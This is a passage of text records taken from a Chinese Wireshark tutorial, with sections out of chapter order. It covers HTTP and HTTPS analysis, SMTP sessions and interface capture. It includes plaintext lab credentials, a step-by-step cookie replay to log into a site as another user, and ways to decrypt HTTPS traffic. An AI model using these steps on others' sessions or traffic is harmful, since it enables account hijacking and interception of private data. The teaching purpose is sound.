[Prev request in frame: 132] #前一个请求帧 [Response in frame: 170] #响应帧 [Next request in frame: 175] #下一个请求帧 File Data: 44 bytes #文件数据大小 HTML Form URL Encoded: application/x-www-form-urlencoded #数据内容 Form item: \"username\" = \"admin\" #表单项 Key: username #表单名 Value: admin #值 Form item: \"password\" = \"password\" #表单项 Key: password #表单名 Value: password #值 Form item: \"Login\" = \"Login\" #表单项 Key: Login #表单名 Value: Login #值 从以上信息中可以看到，客户端使用的提交方式为POST，请求的主机名为192.168.80.134，网址为 http://192.168.80.134/dvwa/login.php 。从该网址中用户可以看到，这是登录一个站点的地址，所以提交的数据为登录的用户名和密码。其中，提交的用户名为admin，密码为password。"},
    {"text": "未知 11.3.5 Cookie数据传递 Cookie是存储在用户主机浏览器中的一小段文本文件。Cookie信息是由网络服务器发送的，存储在网络浏览器上。当访客重新访问该网络服务器时，可从浏览器读回此信息。所以，用户信息可以通过Cookie进行传递。下面将介绍如何利用Cookie传递的数据，登录一个网站。 如果要利用Cookie信息，则需要借助一些插件来实现，如TamperData。TamperData插件可以实现篡改数据的功能，它的原理就是在发出请求前，在本地就开始改动数据。然后使用改动后的数据来提交请求。在OWASP Mantra浏览器中，自带了TamperData插件。为了方便测试，这里将使用OWASP Mantra浏览器来实现。在Kali Linux的软件源中自带了OWASP Mantra浏览器安装包。所以，我们将在Kali Linux中安装并使用OWASP Mantra浏览器。安装OWASP Mantra浏览器，执行命令如下： root@daxueba:~# apt-get install owasp-mantra-ff 执行以上命令后如果没有报错，则说明该浏览器安装成功。接下来，在菜单栏依次选择“应用程序”|“Web程序”|“Web漏洞扫描”|owasp-ma…命令，即可启动OWASP Mantra浏览器。 【实例11-8】 下面以访问kali.daxueba.net网站为例，利用其Cookie信息来登录该网站。具体操作步骤如下： （1）捕获正常访问并登录kali.daxueba.net网站的数据包。其中，捕获到的包如图11.42所示。 （2）图11.42所示窗口中显示了捕获到的访问kali.daxueba.net网站登录后请求的数据包。在分组详情中可以看到包括的Cookie信息。接下来将利用该Cookie信息来登录目标网站。在Kali Linux中，启动OWASP Manatra浏览器，然后访问kali.daxueba.net网站，显示如图11.43所示。 图11.42 Cookie数据传递 图11.43 未登录kali.daxueba.net网站 （3）从图11.43中可以看到，成功访问到kali.daxueba.net网站，但是没有登录。接下来在菜单栏依次选择Tools|Application Auditing|Tamper Data命令，将打开Tamper Data插件对话框，如图11.44所示。 图11.44 Tamper Data插件对话框 （4）单击Start Tamper按钮，开启Tamper。此时，重新访问kali.daxueba.net网站，将会弹出一个篡改请求对话框，如图11.45所示。 图11.45 是否篡改请求 （5）该对话框提示是否篡改 http://kali.daxueba.net/ 请求。这里去掉Continue Tampering?复选框中的对勾，单击Tamper按钮，将弹出篡改请求头部信息的对话框，如图11.46所示。 图11.46 拦截到的HTTP请求头 （6）这里将修改Cookie信息，删除请求头部中的Cookie值。然后复制Wireshark中的Cookie值并粘贴到Cookie文本框中，单击OK按钮。此时， http://kali.daxueba.net/ 请求将被提交，并且使用Cookie中的数据登录到该站点，如图11.47所示。 （7）从图11.47中可以看到，当前已经以kalilinux用户身份成功登录到了kali.daxueba.net网站。由此可以说明成功利用了Cookie传递的数据。 图11.47 成功登录到站点 未知 11.3.6 请求端类型 请求端类型指的是客户端使用的设备类型或者浏览器类型。用户通过分析HTTP协议层Header中的User-Agent（简称UA），即可知道请求端类型，如图11.48所示。 图11.48 请求端类型 从图11.48中可以看到，请求端类型为Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/73.0.3683.86 Safari/537.36。由此可以说明，客户端使用的是Chrome浏览器，版本为73.0，操作系统为Windows x64。 为了方便用户对请求端类型做更精确的分析，下面列出常见的UA类型，以及可能对应的设备类型或者浏览器，如表11.2所示。 表11.2 常见UA类型及对应的设备类型或者浏览器 未知 11.4 响应分析 当用户分析过HTTP请求的信息分析后，接下来就是分析响应信息，以查看响应的具体内容。下面将分析响应信息。"},
    {"text": "未知 2.1.2 选择接口 当用户对接口种类了解清楚后，就可以选择对应的接口来捕获数据包了。在Wireshark中，用户可以使用两种方式来选择接口，分别是在开始界面和“捕获接口”对话框中进行操作。下面将介绍选择接口的方法。 1.开始界面 启动Wireshark后，将显示Wireshark的开始界面，如图2.3所示。 图2.3 开始界面 开始界面共包括6部分，这里分别以编号形式对每部分进行标记。每部分的含义如下： ①标题栏：用于显示文件名称和捕获的设备名称。 ②菜单栏：Wireshark的标准菜单栏。 ③工具栏：常用功能快捷图标按钮。 ④显示过滤区域：减少查看数据的复杂度。 ⑤捕获过滤区域：减少捕获数据的复杂度。 ⑥本地接口列表：选择捕获接口。 开始界面的第6部分就是扫描到的所有本地接口列表，如VMware Network Adapter VMnet 1、以太网、Npcap Loopback Adapter、USBPcap1和USBPcap2等。每种接口含义如表2.1所示。 表2.1 Wireshark支持的接口类型及含义 其中，网络接口对应的线条格式为波浪时，则表示有数据传输；如果是直线的话，则表示没有数据传输。此时，用户选择一个接口，并单击工具栏中的开始捕获分组按钮 ，将开始捕获数据包。或者，直接双击选择的网络接口，可以直接开始捕获其数据包。另外，用户通过按住Ctrl键可以同时捕获多个接口的数据包。 【实例2-1】 捕获以太网接口的数据包。具体操作步骤如下： （1）启动Wireshark工具，并在接口列表中选择“以太网”接口，如图2.4所示。 图2.4 选择接口 （2）单击工具栏中的开始捕获分组按钮 ，将开始捕获数据包，如图2.5所示。或者，用户直接双击“以太网”接口，也可以捕获该接口的数据包。 （3）看到图2.5中的类似信息，则表示正在捕获数据包。捕获到的数据包将以3种模式呈现给用户，分别是分组列表、分组详情和分组字节流。用户从标题栏中可以看到，正在捕获以太网接口的数据包。当用户不想要再捕获包的话，单击工具栏中的停止捕获分组按钮 ，将停止捕获数据包。如果想要重新捕获当前接口的数据包，则可以单击工具栏中的重新开始当前捕获按钮 。之后，用户即可对捕获的数据包进行分析了。 图2.5 正在捕获数据包 【实例2-2】 同时捕获以太网和VMware Network Adapter VMnet8接口的数据包。 （1）在Wireshark的开始界面按住Ctrl键，选择以太网和VMware Network Adapter VMnet8接口，如图2.6所示。 图2.6 选择接口 （2）从图2.6中可以看到，同时选择了两个接口。接下来，在工具栏中单击开始捕获分组按钮 ，将开始捕获数据包，如图2.7所示。 图2.7 正在捕获数据包 （3）从标题栏中可以看到，正在捕获2 interfaces的数据包。由此可以说明，当前正在捕获两个接口的数据包。 2.捕获接口对话框 用户也可以在“捕获接口”对话框中选择接口。在菜单栏中，依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图2.8所示。 图2.8 “捕获接口”对话框 在“捕获接口”对话框中，“输入”选项卡共包括8列，分别为接口、流量、链路层头、混杂、Snap长度、缓存、监控模式和捕获过滤器。从“接口”列可以看到扫描的所有本地接口，如以太网、以太网4、本地连接*6等。用户通过单击接口名左侧的三角，即可看到该接口的地址，如图2.9所示。 图2.9 接口的网络地址 从图2.9中可以看到以太网接口的IPv6地址和IPv4地址。另外，用户还可以启用混杂模式，表示捕获当前主机以外的其他主机数据包。如果想要启用某接口的混杂模式，则勾选“混杂”列的复选框即可。如果所有接口都启用混杂模式的话，则勾选“在所有接口上使用混杂模式”复选框。一般情况下，为了减少分析数据包的复杂度，不建议开启“混杂”模式。在接口列表中选择想要捕获包的接口，并单击“开始”按钮，即可开始捕获数据包。如果用户想要捕获多个接口的数据包，同样按Ctrl键即可以选择多个接口。 【实例2-3】 捕获以太网接口的数据包。具体操作步骤如下： （1）在菜单栏中依次选择“捕获”|“选项”命令，将打开“捕获接口”对话框，如图2.10所示。 图2.10 “捕获接口”对话框 （2）在该对话框中选择“以太网”接口，并单击“开始”按钮，即可捕获来自以太网接口的数据包，如图2.11所示。 图2.11 正在捕获以太网接口数据包 （3）从标题栏可以看到，正在捕获以太网接口的数据包。"},
    {"text": "未知 11.4.1 请求和响应对应关系 当用户使用HTTP协议向服务器发送一个请求后，服务器将会作出一个对应的响应。用户在分组列表或分组详情中即可查看请求和响应对应关系。下面将介绍具体的分析方法。 1.在分组列表中查看请求和响应对应关系 为了快速找到HTTP包的请求和响应对应关系，这里将使用显示过滤器http进行过滤，结果如图11.49所示。 图11.49 显示过滤的所有HTTP协议数据包 这里主要从Info列的信息分析HTTP数据包的请求和响应对应关系。其中，包括有请求方式GET或POST的包为HTTP请求，包括有响应状态码（如200 OK）的为HTTP响应。另外，每个HTTP请求包中都可以看到请求的类型，每个HTTP响应包中也可以看到响应的数据类型。例如，87帧为一个HTTP请求包，请求的内容为/wp-includes/js/jquery/jquery.js?ver=1.11.2 HTTP/1.1，表示请求的是一个JS脚本；143帧为一个HTTP响应包，响应的内容为HTTP/1.1200 OK(application/x-javascript)，表示响应了一个JS脚本。此时，可以简单猜测这两个包可能对应。这里之所以不能确定，是由于这些包中有多个相同的响应包，而且服务器地址也相同，因此只能猜测一下。 2.在分组详情中查看请求和对应关系 在分组详情中，指定了哪个包对该请求做出响应，以及该包响应的是哪个包的请求。下面将通过分组详情来查看HTTP请求和响应对应关系。 【实例11-9】 查看HTTP请求（52帧）对应的响应包。 （1）在分组列表中选择52帧并展开分组详情中的HTTP协议分支，如图11.50所示。 图11.50 请求包详细信息 （2）从分组详情中可以看到Response in frame:122，则表示响应帧为122。此时，查看122帧的分组详情以确定其对应关系，如图11.51所示。 图11.51 响应包详细信息 （3）从分组详情中可以看到Request in frame:52，表示请求帧为52。由此可以说明，成功找出了数据包的请求和响应对应关系。其中，Line-based text data:text/html(546 lines)分支的信息就是响应的信息，如图11.52所示。 图11.52 响应的网页内容 （4）从图11.52中可以看到服务器响应的网页源代码。 提示： 如果客户端发送的HTTP请求服务器没有进行响应的话，在分组详情中则看不到Response in frame字段信息。 未知 11.4.2 响应状态码 目标服务器是否成功做出响应，主要是根据响应的状态码来判断。下面介绍HTTP的响应状态码相关内容，以方便用户确定服务器的响应情况。 1.常见的响应码 为了能快速判断出目标服务器的响应情况，需要查看服务器的响应状态码。在介绍常见的状态码之前，首先介绍下常见的几种状态码情况。 ·1XX：信息性状态码。 ·2XX：操作成功状态码。 ·3XX：重定向状态码。 ·4XX：客户端错误状态码。 ·5XX：服务器端错误状态码。 为了方便用户确定是否得到了服务器的正确响应，这里列出了常见的响应状态码，如表11.3所示。 表11.3 常见的响应状态码 2.响应码统计 Wireshark提供了一个响应码统计功能，可以快速统计出每种响应码对应的数据包数。在菜单栏中，依次选择“统计”|HTTP|“分组计数器”命令，将打开分组计数器对话框，如图11.53所示。 在该对话框中共包括9列，分别为Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组数）、Max val（最大分组数）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。其中，每列的含义如下： ·Topic/Item：显示所有的HTTP包情况。 ·Count：显示每种HTTP包对应的包数。 ·Average：显示每种HTTP包的平均值。 ·Min val：显示每种HTTP包的最小值。 ·Max val：显示每种HTTP包的最大值。 ·Rate(ms)：显示每种HTTP包传输速率。 ·Percent：显示每种HTTP包所占百分比。 ·Burst rate：显示每种HTTP包每毫秒发送的最大数据包数。 ·Burst start：显示每种HTTP包发送最大数据包的时间。 图11.53 分组计数器对话框 通过对捕获文件中的HTTP数据包进行分析可知，总共包括54个HTTP包。其中，HTTP响应包数为7；HTTP请求包数为47；响应成功（200OK）的包共6个；未能找到的请求有1个；请求查询的包有38个；使用GET方式请求的包共9个。"},
    {"text": "未知 11.4.3 查看网页内容 通过前面对数据包的分析，用户即可快速找到HTTP请求对应的响应包。在分组详情中，用户只可以看到响应的源代码，无法查看网页内容。但是，大部分用户更希望看到具体的网页内容，这样就不需要浪费时间去分析源代码了。在分组字节流中，支持解压或以不同格式显示网页内容。用户可以设置以HTML或UTF-8格式查看网页具体显示的内容。如果网页中包括压缩的数据，用户还可以查看网页中gzip压缩的数据。下面利用分组字节流的方式查看网页内容。 【实例11-10】 利用分组字节流查看网页内容。具体操作步骤如下： （1）在捕获文件中选择要查看的分组字节流信息。例如，这里查看分组122响应的网页内容，如图11.54所示。 图11.54 选择查看的分组 （2）在分组详情中选择网页内容分支Line-based text data:text/html(546 lines)。然后在菜单栏依次选择“分析”|“显示分组字节流”命令，弹出分组字节流对话框，如图11.55所示。 图11.55 分组字节流对话框 （3）从该对话框中可以看到，成功显示了网页的源代码。其中，默认解码格式为无，显示格式为ASCII。例如，这里设置以HTML格式显示网页内容，单击“显示为”下拉按钮，在下拉列表框中选择HTML，如图11.56所示。 图11.56 使用HTML格式显示网页内容 （4）从图11.56中可以看到，成功显示出了网页的具体内容。 未知 11.4.4 跟踪流 当客户端向服务器发送HTTP请求后，服务器收到请求后将会使用TCP协议来传输客户端请求的内容。当响应的HTTP对象内容较多时，数据将被TCP分片传输。此时，如果想要查看传输的所有数据，则必须用跟踪流的方式才方便查看。在菜单栏中，依次选择“分析”|“追踪流”|“HTTP流”命令，将弹出“追踪HTTP流”对话框，如图11.57所示。 “追踪HTTP流”对话框以两种颜色显示了数据的来源。其中，红色部分（第1～14行）表示从源地址到目标地址的流量；蓝色部分（第15行以下）表示从目的地址到源地址的流量。从流文本框中可以看到，整个对话包大小为38KB；显示和保存数据为ASCII格式。默认情况下，将显示过滤追踪到的HTTP流数据包。用户单击“滤掉此流”按钮，将会显示该HTTP流之外的其他数据包。单击“显示和保存数据为”下拉按钮，可以在其中选择以不同格式显示数据。其中，支持的显示数据格式如下： ·ASCII：显示为ASCII码格式。 ·C Arrarys：显示为C数组格式。 ·EBCDIC：显示为EBCDIC码格式。 ·Hex转储：显示为十六进制格式。 ·UTF-8：显示为UTF-8编码格式。 ·UTF-16：显示为UTF-16编码格式。 ·YAML：显示为YAML格式。 ·原始数据：显示为原始数据格式。 图11.57 “追踪HTTP流”对话框 用户通过在分组列表或分组详情中右击，也可以跟踪流。在分组列表中选择一个HTTP数据包并右击，将弹出快捷菜单，如图11.58所示。 在其中依次单击“追踪流”|“HTTP流”命令，即可跟踪HTTP流会话。 【实例11-11】 跟踪HTTP流。具体操作步骤如下： 图11.58 快捷菜单 （1）在捕获文件中选择一个HTTP分组，如图11.59所示。 （2）例如，这里将选择分组52。在菜单栏依次选择“分析”|“追踪流”|“HTTP流”命令，将弹出“追踪HTTP流”对话框，如图11.60所示。 图11.59 选择分组 （3）此时返回到Wireshark的包界面，即可看到跟踪到的HTTP流会话，如图11.61所示。 图11.60 “追踪HTTP流”对话框 图11.61 追踪的HTTP流数据包 （4）从显示过滤器文本框中可以看到，当前应用的显示过滤器为tcp.stream eq 14，表示跟踪到第15个HTTP流。从分组列表中可以看到，在客户端发起请求之前（52帧），经过TCP三次握手（46、50和51帧）建立了连接。56帧之后的数据包为服务器响应的信息，直到122帧响应完成。 未知 11.4.5 保存流 为了方便后续进行分析，用户可以保存跟踪到的HTTP流。在菜单栏中，依次选择“分析”|“追踪流”|“HTTP流”命令，打开“追踪HTTP流”对话框，如图11.62所示。 图11.62 追踪HTTP流 单击Save as按钮，将弹出保存流对话框，如图11.63所示。 图11.63 保存HTTP流 在其中指定HTTP会话流保存的位置及文件名。例如，这里指定保存到桌面，文件名为http.txt。单击“保存”按钮，即可成功保存追踪到的HTTP流。"},
    {"text": "未知 11.4.6 导出HTTP对象 Wireshark支持用户导出HTTP对象。如果客户端请求了一些图片或者文件，用户通过导出HTTP对象的方式，即可查看到客户端请求的具体图片或文件内容。在菜单栏中，依次选择“文件”|“导出对象”|HTTP命令，将打开“导出HTTP对象列表”对话框，如图11.64所示。 图11.64 “导出HTTP对象列表”对话框 对话框中包括5列，分别是分组、主机名、内容类型、大小和文件名。其中，每列的具体含义如下： ·分组：HTTP对象的分组编号。 ·主机名：响应该HTTP对象的服务器主机名。 ·内容类型：响应的HTTP对象类型。 ·大小：响应的内容大小。 ·文件名：响应的HTTP对象文件名。 用户通过分析内容类型列，即可猜测到响应的HTTP对象是图片或者文件等类型。其中，text/html表示文本信息；application/x-javascript表示一个JS脚本；text/css表示一个CSS脚本；image/jpeg表示一个图片。在HTTP对象列表中，选择要导出的HTTP对象，并单击Save按钮即可导出。如果想要导出所有HTTP对象，则单击Save All按钮即可。 【实例11-12】 导出一个图片。 （1）在捕获文件的菜单栏依次选择“文件”|“导出对象”|HTTP命令，打开导出HTTP对象列表对话框，如图11.65所示。 图11.65 导出HTTP对象列表 （2）例如，这里将导出分组为65575的图片。选择分组65575，单击Save按钮，将弹出保存对象对话框，如图11.66所示。 图11.66 保存HTTP对象 （3）在该对话框中指定导出对象的位置及文件名。例如，这里将保存到桌面，指定文件名为image.png。单击“保存”按钮，即可成功导出该HTTP对象。此时，用户可以使用图片查看器查看导出的HTTP对象，效果如图11.67所示。 图11.67 导出的HTTP对象 （4）从图11.67中可以看到导出的HTTP对象的具体内容。 未知 11.5 HTTPS分析 HTTPS全称为Hyper Text Transfer Protocol over Secure Socket Layer或Hypertext Transfer Protocol Secure，被译为超文本传输安全协议。HTTPS是以安全为目标的HTTP通道，即HTTP下加入SSL层。HTTPS的安全基础是SSL。其中，HTTP协议是通过明文形式传输数据的。目前，大部分网站为了安全，都使用HTTPS协议。本节将分析HTTPS数据包。 未知 11.5.1 TLS流 TLS（Transport Layer Security，传输层安全性协议）是SSL（Secure Sockets Layer，安全套接层）的继承者，目的是为互联网通信提供安全及数据完整性保障。所以，对于捕获到HTTPS服务器传输的数据包，使用的协议为TLS协议。TLS流和HTTP流一样，如果响应的数据较多时，数据将被TCP分片传输。如果要想查看完整的会话，则必须跟踪流。在菜单栏中，依次选择“分析”|“追踪流”|TLS流命令，将弹出追踪TLS流对话框，如图11.68所示。 图11.68 追踪TLS流 提示： 如果用户要导出TLS流，则需要对捕获到的TLS包解密后才可以操作；否则，追踪到的TLS流对话框为空白。 该对话框同样以两种颜色显示了数据的来源。其中，红色表示从源地址到目标地址的流量；蓝色表示从目的地址到源地址的流量。从流文本框中可以看到，整个对话包大小为1335字节；显示和保存数据为ASCII格式。此时，返回到Wireshark主界面即可看到追踪到的TLS流会话，如图11.69所示。 从显示过滤器文本框中可以看到，应用了显示过滤器tcp.stream eq 69，表示追踪到了第70个TLS会话。接下来，用户就可以对整个会话传输的数据进行分析了。为了方便用户以后进行分析，也可以将追踪到的TLS流会话保存到一个文件中。在追踪TLS流对话框中，单击Save as按钮，即可保存该TLS流。 图11.69 追踪到的TLS流 用户通过在分组列表或分组详情中右击，也可以跟踪流。在分组列表中选择一个TLS数据包并右击，将弹出快捷菜单，如图11.70所示。 图11.70 快捷菜单 在其中依次选择“追踪流”|“TLS流”命令，即可追踪TLS流会话。 未知 11.5.2 导出TLS会话密钥 在Wireshark中，用户可以将TLS会话密钥导出。在菜单栏中，依次选择“文件”|“导出TLS会话密钥”命令，将弹出“导出TLS会话密钥”对话框，如图11.71所示。 图11.71 “导出TLS会话密钥”对话框 从“导出TLS会话密钥”对话框的顶部可以看到，当前捕获文件中共183个密钥。此时，用户指定密钥的保存位置和文件名，即可导出TLS会话密钥。这里将指定保存到桌面，文件名为ssl。然后单击“保存”按钮，TLS会话密钥将被保存到ssl.key文件中。接下来用户可以使用记事本查看导出的TLS会话密钥，如图11.72所示。 图11.72 “导出TLS会话密钥”对话框"},
    {"text": "未知 11.5.3 HTTPS统计分析 Wireshark中提供了一个HTTPS数据统计功能。用户可以通过查看HTTPS统计信息来查看各种数据包的情况。在菜单栏中依次选择“统计”|HTTP2命令，将打开HTTP2统计对话框，如图11.73所示。 图11.73 HTTP2统计对话框 在该对话框中共包括9列，分别为Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组数）、Max val（最大分组数）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。其中，每列的含义如下： ·Topic/Item：显示所有的HTTPS包类型。 ·Count：显示每种HTTPS包的包数。 ·Average：显示每种HTTPS包的平均值。 ·Min val：显示每种HTTPS包的最小值。 ·Max val：显示每种HTTPS包的最大值。 ·Rate(ms)：显示每种HTTPS包的传输速率。 ·Percent：显示每种HTTPS包所占百分比。 ·Burst rate：显示每种HTTPS包每毫秒发送的最大数据包数。 ·Burst start：显示每种HTTPS包发送最大数据包的时间。 通过对以上数据进行分析可以看到，WINDOW_UPDATE类包共53个，SETTINGS类包共80个，PING类包共39个，HEADERS类包共837个，DATA类包共651个。 未知 2.1.3 捕获USB设备包 Wireshark还支持捕获USB设备包，如USB接口的鼠标、键盘之类的设备。如果要捕获USB设备包，用户在安装Wireshark时，必须安装USBPcap组件，否则无法找到USB接口。下面将介绍捕获USB设备包的方法。 【实例2-4】 捕获USB设备包。具体操作步骤如下： （1）右击“此电脑”|“管理”命令，打开“计算机管理”窗口，如图2.12所示。 图2.12 “计算机管理”窗口 （2）在左侧栏中选择“设备管理器”选项，即可查看当前系统中的相关设备，如图2.13所示。 图2.13 设备管理器 （3）从“设备管理器”选项中选择“鼠标和其他指针设备”分支，即可看到USB设备的名称。本例中USB设备的名称为HID-compliant mouse。另外，在“通用串行总线控制器”分支中可以看到插入当前主机的一些USB设备名称。接下来启动Wireshark，并选择对应的USB接口，如图2.14所示。 图2.14 选择USB接口 （4）从捕获列表中可以看到有4个USB接口。单击接口左侧的接口选项按钮，打开“接口选项”对话框，如图2.15所示。 图2.15 “接口选项”对话框 （5）从“接口选项”对话框Attached USB Devices对应的文本框中可以看到相关的USB设备。通过查看相关的设备，可以看到当前系统中的鼠标和键盘设备。其中，该接口默认将捕获所有关联（Capture from all devices connected）的新连接（Capture from newly connected devices）的USB设备数据包。如果不希望启动某设置的话，将复选框中的对勾取消即可。这里使用默认设置，单击“开始”按钮即可捕获对应的数据包，如图2.16所示。 图2.16 正在捕获USB设备包 （6）从标题栏中可以看到正在捕获USBPcap1接口的数据包。由此可以说明，成功捕获到了USB设备包。"},
    {"text": "未知 11.5.4 解密HTTPS数据 如果网站服务器使用的是HTTPS协议的话，则使用Wireshark捕获到的包是加密的包。如果想要分析传输的内容，则需要进行解密。其中，解密后的内容为HTTP和HTTP2协议。如果没有解密，则所有的数据包都为TLS协议。Wireshark中支持通过导入服务器证书和日记文件两种方式来解密HTTPS数据，如图11.74所示。 图11.74 配置TLS协议 在图11.74所示的对话框中单击RSA keys list对应的Edit按钮，即可配置通过服务器证书来解密HTTPS数据。单击（Pre）-Master-Secret log filename文本框对应的Browser按钮，指定日记文件存储路径，即可使用日记文件的方式来解密HTTPS数据。 1.使用日记文件方式 对于普通用户来说，如果要拿到服务器证书，显然不是一件很容易的事。此时，使用日记文件的方式相对来说就比较简单了。Chrome和Firefox浏览器都支持用日记文件的方式记录用来加密TLS数据包对称会话的密钥，然后在Wireshark中指定该日记文件，就可以快速地解密HTTPS数据了。 日记文件方式主要是通过在系统中配置一个环境变量SSLKEYLOGFILE来实现的。当用户配置SSLKEYLOGFILE环境变量后，就表示告诉浏览器（Chrome和Firefox）想知道其每次HTTPS会话的Key记录。这样，浏览器将会在每次HTTPS会话结束后，将会话数据解密的Key记录到keylog文件中，然后Wireshark通过访问keylog文件，使用里面的key就可以解密字节捕获到浏览器中产生的HTTPS会话数据流。 【实例11-13】 在Windows中，使用日记文件的方式解密HTTPS数据。具体操作步骤如下： （1）配置环境变量。在桌面中，右击“此电脑”图标，然后选择快捷菜单中的“属性”命令，打开“系统”窗口，如图11.75所示。 图11.75 “系统”窗口 （2）选择“高级系统设置”选项，打开“系统属性”对话框，如图11.76所示。 图11.76 “系统属性”对话框 （3）在该对话框中，单击“环境变量”按钮，打开“环境变量”对话框，如图11.77所示。 图11.77 “环境变量”对话框 （4）在“系统变量”区域中单击“新建”按钮，打开“新建系统变量”对话框，如图11.78所示。 图11.78 “新建系统变量”对话框 （5）在该对话框中指定变量名为SSLKEYLOGFILE，变量值为一个日志文件路径。变量值可以随意指定，本例中指定为D:\\sslkeylog.log。然后依次单击“确定”按钮，使环境变量生效。接着在Wireshark中指定该日志文件的路径。在菜单栏依次选择“编辑”|“首选项”|Protocols|TLS命令，打开TLS协议设置对话框，在其中指定日记文件的存储路径，如图11.79所示。 图11.79 使用日记文件方式解密HTTPS数据 （6）在对话框中指定日记文件的存储路径为D:\\sslkeylog.log。然后单击OK按钮使配置生效。接下来，用户通过Chrome或Firefox浏览器访问HTTPS网站，并用Wireshark捕获到的包即可成功解密。此时，用户使用显示过滤器tls and http或tls and http2即可过滤解密后的数据包，如图11.80所示。 图11.80 HTTPS数据包解密成功 （7）从窗口中可以看到，成功显示过滤出了解密后的数据包。而且从状态栏上可以看到，出现了一个Decrypted TLS(250bytes)（被解密的TLS数据包）标签，表示解密成功。 2.使用服务器证书方式 如果用户可以拿到服务器证书的话，则可以使用服务器证书方式来解密HTTPS数据。 【实例11-14】 使用服务器证书方式解密HTTPS数据。具体操作步骤如下： （1）在菜单栏依次选择“编辑”|“首选项”|Protocols|TLS命令，打开TLS协议设置对话框，如图11.81所示。 图11.81 TLS协议设置对话框 （2）单击RSA keys list对应的Edit按钮，将打开TLS解密对话框，如图11.82所示。 （3）该对话框中共包括5列，分别为IP address、Port、Protocol、Key File和Password。其中，每列的含义如下： ·IP address：服务器的IP地址。 ·Port：HTTPS监听的端口，一般为443。 ·Protocol：指定协议，一般为HTTP。 ·Key File：指定从服务器上获取到的RSA Key。这个RSA Key需要是一个解密后的PKCS#8PEM格式的（RSA）Key。 ·password：一般不填写。如果key file需要一个密码，可以在这里填写。 此时，根据获取到的服务器证书来配置每个选项。设置后的效果如图11.83所示。 图11.82 TLS解密对话框 图11.83 设置的RSA密钥 （4）单击OK按钮使配置生效。接下来就可以成功解密与指定服务器证书相关的HTTPS数据流了。 未知 第12章 其他应用协议数据包分析 前面章节中介绍了对常见的协议数据包进行分析的方法。除此之外，还有一些应用层协议使用比较广泛，如SMTP、POP和FTP等。通过对这些协议的数据包进行分析，可以获取到客户端传输的数据或文件内容等。本章将对这些应用协议数据包进行分析。 未知 12.1 SMTP/POP3分析 SMTP（Simple Mail Transfer Protocol，简单邮件传输协议）是一个相对简单的基于文本的协议，主要用来发送邮件。POP3（Post Office Protocol-Version3，邮局协议版本3）协议主要用于从服务器上下载邮件。通过分析SMTP和POP3协议数据包，用户可以了解到用户发送的邮件内容。本节将分析SMTP/POP3协议。"},
    {"text": "未知 12.1.1 过滤SMTP/POP数据包 为了快速分析SMTP/POP协议数据包，可以使用显示过滤器进行过滤。其中，过滤SMTP数据包的显示过滤器为smtp；过滤POP数据包的显示过滤器为pop。例如，显示过滤器SMTP数据包，结果如图12.1所示。 从Protocol列可以看到，这些数据包的协议都为SMTP。由此可以说明，成功过滤出了所有的SMTP数据包。接下来即可对其数据包进行分析，以查看客户端发送的邮件内容。 如果想要查看接收邮件的数据包，可以使用pop显示过滤器过滤POP数据包，效果如图12.2所示。 从Protocol列可以看到，成功过滤出了所有的POP数据包。接下来用户即可对其数据包进行分析。 图12.1 显示过滤出的SMTP数据包 图12.2 显示过滤出的POP数据包 未知 12.1.2 分析SMTP会话 当用户成功过滤出SMTP数据包后，即可对SMTP会话进行分析，从而获取到用户发送的邮件内容。为了方便分析SMTP会话，可以使用smtp显示过滤器先过滤出所有的SMTP数据包，结果如图12.3所示。 图12.3 SMTP数据包 从Info列可以很清楚地看到客户端执行的一些邮件命令，如HELO、MAIL FROM和RCPT TO等。在Info列中，S标记表示服务器响应的信息；C标记表示客户端发送的请求。用户在分组详情中即可看到每个会话的详细信息。例如，查看分组23的详细信息如下： Frame 23: 80 bytes on wire (640 bits), 80 bytes captured (640 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 0c:aa:06 (00:0c:29:0c:aa:06) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.144 #IPv4协议 Transmission Control Protocol, Src Port: 42348, Dst Port: 25, Seq: 1, Ack: 47, Len: 14 #TCP协议 Simple Mail Transfer Protocol #SMTP协议 Command Line: HELO daxueba\\r\\n #命令行 Command: HELO #命令 Request parameter: daxueba #请求的参数 从SMTP协议部分可以看到客户端发送的请求。从以上信息中可以看到，执行的命令为HELO，请求的参数值为daxueba，表示告诉服务器自己的主机名。当服务器接收到请求后，将返回对应的响应。其中，响应的状态码为250。在本例中响应的分组为25，其包的详细信息如下： Frame 25: 85 bytes on wire (680 bits), 85 bytes captured (680 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_0c:aa:06 (00:0c:29:0c:aa:06), Dst: Vmware_ 79:95:9e (00:0c:29:79:95:9e) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.144, Dst: 192.168.80.129 #IPv4协议 Transmission Control Protocol, Src Port: 25, Dst Port: 42348, Seq: 47, Ack: 15, Len: 19 #TCP协议 Simple Mail Transfer Protocol #SMTP协议 Response: 250 mail.test.com\\r\\n #响应信息 Response code: Requested mail action okay, completed (250) #响应码 Response parameter: mail.test.com #响应参数 从SMTP协议部分可以看到服务器响应的包信息。其中，响应状态码为250，响应的参数为mail.test.com。用户通过分析客户端请求的每个命令，即可知道将要获取的信息。其中，DATA命令表示客户端准备发送邮件内容。在以上包中，分组43表示准备发送的邮件内容；50、52、57和63帧表示分片传输的邮件内容。从67帧中可以看到邮件的主题信息，其详细信息如下： Frame 67: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 0c:aa:06 (00:0c:29:0c:aa:06) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.144 #IPv4协议 Transmission Control Protocol, Src Port: 42348, Dst Port: 25, Seq: 127, Ack: 131, Len: 3 #TCP协议 Simple Mail Transfer Protocol #SMTP协议 C: . #客户端发送的请求 [4 DATA fragments (55 bytes): #50(22), #52(2), #57(8), #65(23)] #分片的传输数据包 